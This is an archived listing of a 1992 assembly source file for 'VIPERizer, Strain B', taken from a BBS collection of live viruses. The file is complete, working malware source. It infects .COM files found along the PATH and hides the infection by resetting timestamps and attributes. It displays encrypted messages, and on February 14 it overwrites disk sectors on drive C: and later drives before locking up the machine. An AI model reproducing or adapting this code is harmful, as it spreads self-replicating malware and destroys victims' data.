home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / viper-b.asm < prev    next >
Assembly Source File  |  1992-07-19  |  17KB  |  408 lines

  1.  
  2. ;
  3. ; VIPERizer, Strain B
  4. ; Copyright (c) 1992, Stingray/VIPER
  5. ; This is a Viral Inclined Programming Experts Ring Programming Team Production
  6. ;
  7. ; VIPER are:  Stingray, Venom, and Guido Sanchez
  8. ;
  9.  
  10. MOV_CX  MACRO   X         ; Here is just a simple "mov cx,xxxx" macro.
  11.         DB      0B9H
  12.         DW      X
  13. ENDM
  14.  
  15. CODE    SEGMENT
  16.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  17.         ORG     $+0100H
  18.  
  19. VCODE:  JMP     virus
  20.  
  21.         NOP         ; just a dud for the 'infected' file.
  22.  
  23. v_start equ     $
  24.  
  25.  
  26. virus:  PUSH    CX
  27.         mov     ax,0ff0fh               ;  Thanks to RABID... Change Mem Marker
  28.         int     21h
  29.         cmp     ax,101h                 ;  Is VirexPC/FluShit in memory?
  30.         jne     more_virus              ;  Nope.
  31.         jmp     quit                    ;  FUCK!!!!!
  32. more_virus:
  33.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  34.                                         ; The 2nd and 3rd bytes get modified.
  35.         CLD                             ;Pointers will be auto INcremented
  36.         MOV     SI,DX                   ;Access data as offset from SI
  37.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  38.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  39.         mov     cx,3
  40.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  41.         MOV     SI,DX                   ;Keep SI pointing to the data area
  42.  
  43.         MOV     AH,30H
  44.         INT     21H
  45.         nop
  46.         CMP     AL,0                    ;0 means it's version 1.X
  47.         JNZ     dos_ok                  ;For version 2.0 or greater
  48.         JMP     quit                    ;Don't try to infect version 1.X
  49. dos_ok:
  50.         mov     ah,2ch                  ;  Get Time
  51.         int     21h                     ;  Do it.
  52.         xor     bx,bx                   ;  VIPERize bx, for later use.
  53.         cmp     dl,4                    ;  hund's of seconds 4?
  54.         jle     print_message           ;  If 4 or less, print a message.
  55.                                         ;  This serves as a random 1 in 20
  56.                                         ;  chance of the message printing
  57.         jmp     short get_date          ;  No?  What date is it...?
  58. print_message:
  59.         mov     dl, byte ptr [si+msg+bx] ; Get a byte of our message...
  60.         or      dl,dl                   ;  is it 0? (end of message)
  61.         jz      get_date                ;  Get the date if it is...
  62.         sub     dl,75                   ;  Unencrypt message
  63.         mov     ah,2                    ;  Prepare to print one letter
  64.         int     21h                     ;  do it!
  65.         inc     bx                      ;  point to next character.
  66.         jmp     short print_message     ;  Do it again.
  67. get_date:
  68.         mov     ah,2ah                  ;  What day is it?
  69.         int     21h                     ;  Find out.
  70.         cmp     dh,2                    ;  Is it february?
  71.         jne     resume                  ;  No?  Oh well.
  72.         cmp     dl,14                   ;  Is it valentines day?
  73.         jne     resume                  ;  No?  Damn.
  74.         xor     bx,bx                   ;  VIPERize bx
  75. cool:
  76.         mov     dl,byte ptr [si+msg2+bx] ; This is pretty much the
  77.         or      dl,dl                   ;  same as the above 'print'
  78.         jz      no_mas                  ;  function.  except I didn't
  79.         sub     dl,75                   ;  make it a procedure.
  80.         mov     ah,2
  81.         int     21h
  82.         inc     bx
  83.         jmp     short cool
  84. no_mas:
  85.         mov     al,2                    ;  Start with drive C:
  86. phri:
  87.         mov     cx,255                  ;  Nuke a few sectors
  88.         mov     dx,1                    ;  Beginning with sector 1!!!
  89.         int     26h                     ;  VIPERize them!!!! Rah!!!
  90.         jc      error                   ;  Uh oh. Problem.
  91.         add     sp,2                    ;  Worked great.  Clear the stack...
  92. error:
  93.         inc     al                      ;  Get another drive!
  94.         cmp     al,200                  ;  Have we fried 200 drives?
  95.         je      done_phrying            ;  Yep.
  96.         jmp     short phri              ;  Nope.
  97. done_phrying:
  98.         cli                             ;  Disable Interrupts
  99.         hlt                             ;  Lock up computer.
  100. resume:
  101.         PUSH    ES
  102.         MOV     AH,2FH
  103.         INT     21H
  104.         nop
  105.         MOV     [SI+old_dta],BX
  106.         MOV     [SI+old_dts],ES         ;Save the DTA address
  107.         POP     ES
  108.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  109.         nop
  110.         ADD     DX,SI                   ;Compute DTA address
  111.         MOV     AH,1AH
  112.         INT     21H                     ;Set new DTA to inside our own code
  113.         nop
  114.         PUSH    ES
  115.         PUSH    SI
  116.         MOV     ES,DS:2CH
  117.         MOV     DI,0                    ;ES:DI points to environment
  118. find_path:
  119.         POP     SI
  120.         PUSH    SI                      ;Get SI back
  121.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  122.         LODSB
  123.         nop
  124.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  125.         REPNZ   SCASB                   ;Search for first character
  126.         MOV     CX,4
  127. check_next_4:
  128.         LODSB
  129.         SCASB
  130.         JNZ     find_path               ;If not all there, abort & start over
  131.         nop
  132.         LOOP    check_next_4            ;Loop to check the next character
  133.         POP     SI
  134.         POP     ES
  135.         nop
  136.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  137.         MOV     DI,SI
  138.         ADD     DI,wrk_spc              ;File name workspace
  139.         nop
  140.         MOV     BX,SI                   ;Save a copy of SI
  141.         ADD     SI,wrk_spc              ;Point SI to workspace
  142.         MOV     DI,SI                   ;Point DI to workspace
  143.         JMP     SHORT   slash_ok
  144. set_subdir:
  145.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  146.         JNZ     found_subdir            ;If not, there are more subdirectories
  147.         JMP     all_done                ;Else, we're all done
  148. found_subdir:
  149.         PUSH    DS
  150.         PUSH    SI
  151.         MOV     DS,ES:2CH               ;DS points to environment segment
  152.         nop
  153.         MOV     DI,SI
  154.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  155.         ADD     DI,wrk_spc              ;DI points to file name workspace
  156. move_subdir:
  157.         LODSB                           ;Get character
  158.         CMP     AL,';'                  ;Is it a ';' delimiter?
  159.         JZ      moved_one               ;Yes, found another subdirectory
  160.         nop
  161.         CMP     AL,0                    ;End of PATH string?
  162.         JZ      moved_last_one          ;Yes
  163.         STOSB                           ;Save PATH marker into [DI]
  164.         JMP     SHORT   move_subdir
  165. moved_last_one:
  166.         xor     si,si
  167. moved_one:
  168.         POP     BX                      ;Pointer to virus data area
  169.         POP     DS                      ;Restore DS
  170.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  171.         NOP
  172.         CMP     CH,'\'                  ;Ends with "\"?
  173.         nop
  174.         JZ      slash_ok                ;If yes
  175.         MOV     AL,'\'                  ;Add one, if not
  176.         STOSB
  177. slash_ok:
  178.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  179.         MOV     SI,BX                   ;Restore SI
  180.         ADD     SI,f_spec               ;Point to "*.COM"
  181.         MOV     CX,6
  182.         nop
  183.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  184.         MOV     SI,BX
  185.         MOV     AH,4EH
  186.         MOV     DX,wrk_spc
  187.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  188.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  189.         INT     21H
  190.         nop
  191.         JMP     SHORT   find_first
  192. find_next:
  193.         MOV     AH,4FH
  194.         INT     21H
  195.         nop
  196. find_first:
  197.         JNB     found_file              ;Jump if we found it
  198.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  199. found_file:
  200.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  201.         AND     AL,1FH                  ;Mask to remove all but seconds
  202.         CMP     AL,1FH                  ;62 seconds -> already infected
  203.         JZ      find_next               ;If so, go find another file
  204.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  205.         nop
  206.         JA      find_next               ;If too long, find another one
  207.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  208.         JB      find_next               ;Then go find another one
  209.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  210.         PUSH    SI                      ;Save SI
  211.         ADD     SI,dta_nam              ;Point SI to file name
  212. more_chars:
  213.         LODSB
  214.         STOSB
  215.         CMP     AL,0
  216.         JNZ     more_chars              ;Move characters until we find a 00
  217.         POP     SI
  218.         MOV     AX,OFFSET 4300H
  219.         nop
  220.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  221.         ADD     DX,SI
  222.         INT     21H
  223.         nop
  224.         MOV     [SI+old_att],CX         ;Save the old attributes
  225.         MOV     AX,OFFSET 4301H         ;Set attributes
  226.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  227.         nop
  228.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  229.         ADD     DX,SI                   ;Point to \path\name
  230.         INT     21H
  231.         nop
  232.         MOV     AX,OFFSET 3D02H         ;Read/Write
  233.         nop
  234.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  235.         ADD     DX,SI                   ;Point to \path\name
  236.         INT     21H
  237.         nop
  238.         JNB     opened_ok               ;If file was opened OK
  239.         JMP     fix_attr                ;If it failed, restore the attributes
  240.  
  241. opened_ok:
  242.         MOV     BX,AX
  243.         MOV     AX,OFFSET 5700H
  244.         INT     21H
  245.         nop
  246.         MOV     [SI+old_tim],CX         ;Save file time
  247.         MOV     [SI+ol_date],DX         ;Save the date
  248.         MOV     AH,3FH
  249.         nop
  250.         MOV     CX,3
  251.         MOV     DX,first_3
  252.         ADD     DX,SI
  253.         INT     21H             ;Save first 3 bytes into the data area
  254.         nop
  255.         JB      fix_time_stamp  ;Quit, if read failed
  256.         CMP     AX,3            ;Were we able to read all 3 bytes?
  257.         JNZ     fix_time_stamp  ;Quit, if not
  258.         MOV     AX,OFFSET 4202H
  259.         xor     cx,cx
  260.         xor     dx,dx
  261.         INT     21H
  262.         nop
  263.         JB      fix_time_stamp  ;Quit, if it didn't work
  264.         MOV     CX,AX           ;DX:AX (long int) = file size
  265.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  266.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  267.         nop
  268.         ADD     CX,OFFSET c_len_y
  269.         MOV     DI,SI           ;Point DI to virus data area
  270.         SUB     DI,OFFSET c_len_x
  271.                                 ;Point DI to reference vir_dat, at start of pgm
  272.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  273.         MOV     AH,40H
  274.         MOV_CX  virlen                  ;Length of virus, in bytes
  275.         nop
  276.         MOV     DX,SI
  277.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  278.                                         ; address of virus code in memory
  279.         INT     21H
  280.         nop
  281.         JB      fix_time_stamp          ;Jump if error
  282.         CMP     AX,OFFSET virlen        ;All bytes written?
  283.         JNZ     fix_time_stamp          ;Jump if error
  284.         MOV     AX,OFFSET 4200H
  285.         xor     cx,cx
  286.         xor     dx,dx
  287.         INT     21H
  288.         nop
  289.         JB      fix_time_stamp          ;Jump if error
  290.         MOV     AH,40H
  291.         MOV     CX,3
  292.         nop
  293.         MOV     DX,SI                   ;Virus data area
  294.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  295.         INT     21H
  296.         nop
  297. fix_time_stamp:
  298.         MOV     DX,[SI+ol_date]         ;Old file date
  299.         nop
  300.         MOV     CX,[SI+old_tim]         ;Old file time
  301.         AND     CX,OFFSET 0FFE0H
  302.         nop
  303.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  304.         MOV     AX,OFFSET 5701H
  305.         INT     21H
  306.         nop
  307.         MOV     AH,3EH
  308.         INT     21H
  309.         nop
  310. fix_attr:
  311.         MOV     AX,OFFSET 4301H
  312.         MOV     CX,[SI+old_att]         ;Old Attributes
  313.         nop
  314.         MOV     DX,wrk_spc
  315.         ADD     DX,SI                   ;DX points to \path\name in workspace
  316.         INT     21H
  317.         nop
  318. all_done:
  319.         PUSH    DS
  320.         MOV     AH,1AH
  321.         MOV     DX,[SI+old_dta]
  322.         nop
  323.         MOV     DS,[SI+old_dts]
  324.         INT     21H
  325.         nop
  326.         POP     DS
  327.         nop
  328. quit:
  329.         POP     CX
  330.         XOR     AX,AX
  331.         XOR     BX,BX
  332.         xor     cx,cx
  333.         XOR     DX,DX
  334.         XOR     SI,SI
  335.         MOV     DI,OFFSET 0100H
  336.         PUSH    DI
  337.         XOR     DI,DI
  338.         RET     0FFFFH
  339. vir_dat EQU     $
  340. olddta_ DW      0                       ;Old DTA offset
  341. olddts_ DW      0                       ;Old DTA segment
  342. oldtim_ DW      0                       ;Old Time
  343. oldate_ DW      0                       ;Old date
  344. oldatt_ DW      0                       ;Old file attributes
  345. first3_ EQU     $
  346.         INT     20H
  347.         NOP
  348. jmpop_  DB      0E9H                    ;Start of JMP instruction
  349. jmpdsp_ DW      0                       ;The displacement part
  350. fspec_  DB      '*.COM',0
  351. pathad_ DW      0                       ;Path address
  352. namptr_ DW      0                       ;Pointer to start of file name
  353. envstr_ DB      'PATH='                 ;Find this in the environment
  354. wrkspc_ DB      40h dup (0)
  355. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  356. dtatim_ DW      0,0                     ;Time stamp in DTA
  357. dtalen_ DW      0,0                     ;File length in the DTA
  358. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  359. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  360.  
  361. ; These messages are encrypted.
  362. ; msg = "Will you be my..."
  363. ; msg2 = "VIPERizer, Strain B"
  364. ;        "(c) 1992, Stingray/VIPER"
  365. ;        "Happy Valentines Day!"
  366.  
  367. _msg    db  162,180,183,183,107,196,186,192,107,173,176,107,184,196,121,121
  368.         db  121,085,088
  369.         db  0
  370. _msg2   db  161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180
  371.         db  185,107,141,085,088
  372.         db  115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189
  373.         db  172,196,122,161,148,155,144,157,085,088
  374.         db  147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190
  375.         db  107,143,172,196,108,085,088
  376.         db  0
  377.  
  378. lst_byt EQU     $                       ;All lines that assemble into code are
  379.                                         ;  above this one
  380.  
  381. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  382. codelen =       vir_dat - v_start       ;Length of virus code, only
  383. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  384. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  385. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  386. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  387. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  388. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  389. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  390. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  391. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  392. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  393. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  394. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  395. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  396. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  397. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  398. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  399. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  400. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  401. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  402. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  403. msg     =       _msg    - vir_dat       ; Disp. to 1st msg
  404. msg2    =       _msg2   - vir_dat       ; Disp. to 2nd msg
  405.         CODE    ENDS
  406. END     VCODE
  407.  
  408.